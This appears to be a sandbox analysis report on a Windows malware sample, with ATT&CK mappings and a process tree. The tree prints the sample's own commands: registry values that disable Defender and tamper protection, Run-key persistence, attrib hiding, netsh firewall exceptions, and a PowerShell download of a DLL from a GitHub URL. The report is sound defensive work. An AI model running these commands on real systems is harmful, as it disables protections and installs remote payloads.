361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	$77-.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2600	powershell.exe
9	2600	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2704	netsh.exe
2708	netsh.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1716	attrib.exe
2972	attrib.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-.exe	$77-.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-.exe	$77-.exe

Executes dropped EXE 1 IoCs

pid	Process
3008	$77-.exe

Loads dropped DLL 1 IoCs

pid	Process
2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	$77-.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77- = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-.exe"	$77-.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-677481364-2238709445-1347953534-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\$77- = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-.exe"	$77-.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2600	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	discord.com
5	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2600	powershell.exe
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	$77-.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeBackupPrivilege	3036	vssvc.exe
Token: SeRestorePrivilege	3036	vssvc.exe
Token: SeAuditPrivilege	3036	vssvc.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe
Token: 33	3008	$77-.exe
Token: SeIncBasePriorityPrivilege	3008	$77-.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 1180	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	29
PID 2456 wrote to memory of 1180	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	29
PID 2456 wrote to memory of 1180	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	29
PID 2456 wrote to memory of 1180	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	29
PID 1180 wrote to memory of 1716	1180	cmd.exe	31
PID 1180 wrote to memory of 1716	1180	cmd.exe	31
PID 1180 wrote to memory of 1716	1180	cmd.exe	31
PID 1180 wrote to memory of 1716	1180	cmd.exe	31
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 2456 wrote to memory of 3008	2456	361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe	32
PID 3008 wrote to memory of 2760	3008	$77-.exe	33
PID 3008 wrote to memory of 2760	3008	$77-.exe	33
PID 3008 wrote to memory of 2760	3008	$77-.exe	33
PID 3008 wrote to memory of 2760	3008	$77-.exe	33
PID 2760 wrote to memory of 2972	2760	cmd.exe	35
PID 2760 wrote to memory of 2972	2760	cmd.exe	35
PID 2760 wrote to memory of 2972	2760	cmd.exe	35
PID 2760 wrote to memory of 2972	2760	cmd.exe	35
PID 3008 wrote to memory of 2708	3008	$77-.exe	36
PID 3008 wrote to memory of 2708	3008	$77-.exe	36
PID 3008 wrote to memory of 2708	3008	$77-.exe	36
PID 3008 wrote to memory of 2708	3008	$77-.exe	36
PID 3008 wrote to memory of 2704	3008	$77-.exe	37
PID 3008 wrote to memory of 2704	3008	$77-.exe	37
PID 3008 wrote to memory of 2704	3008	$77-.exe	37
PID 3008 wrote to memory of 2704	3008	$77-.exe	37
PID 3008 wrote to memory of 2620	3008	$77-.exe	42
PID 3008 wrote to memory of 2620	3008	$77-.exe	42
PID 3008 wrote to memory of 2620	3008	$77-.exe	42
PID 3008 wrote to memory of 2620	3008	$77-.exe	42
PID 2620 wrote to memory of 2600	2620	cmd.exe	44
PID 2620 wrote to memory of 2600	2620	cmd.exe	44
PID 2620 wrote to memory of 2600	2620	cmd.exe	44
PID 2620 wrote to memory of 2600	2620	cmd.exe	44
PID 3008 wrote to memory of 2776	3008	$77-.exe	45
PID 3008 wrote to memory of 2776	3008	$77-.exe	45
PID 3008 wrote to memory of 2776	3008	$77-.exe	45
PID 3008 wrote to memory of 2776	3008	$77-.exe	45

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1716	attrib.exe
2972	attrib.exe

C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe
"C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\SysWOW64\attrib.exe
    attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\361a99ef210f2f204f1ed6057e6e6c27a772aee6fcde7e41e914b816e5ea9174.exe"
    3⤵
    - Sets file to hidden
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:1716
- C:\ProgramData\$77-.exe
  "C:\ProgramData\$77-.exe"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Modifies Windows Defender TamperProtection settings
  - Drops startup file
  - Executes dropped EXE
  - Windows security modification
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r "C:\ProgramData\$77-.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\ProgramData\$77-.exe"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2972
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\$77-.exe" "$77-.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2708
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\$77-.exe" "$77-.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\ProgramData\\r77-x64.dll');exit
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2600
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-MpPreference -verbose
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry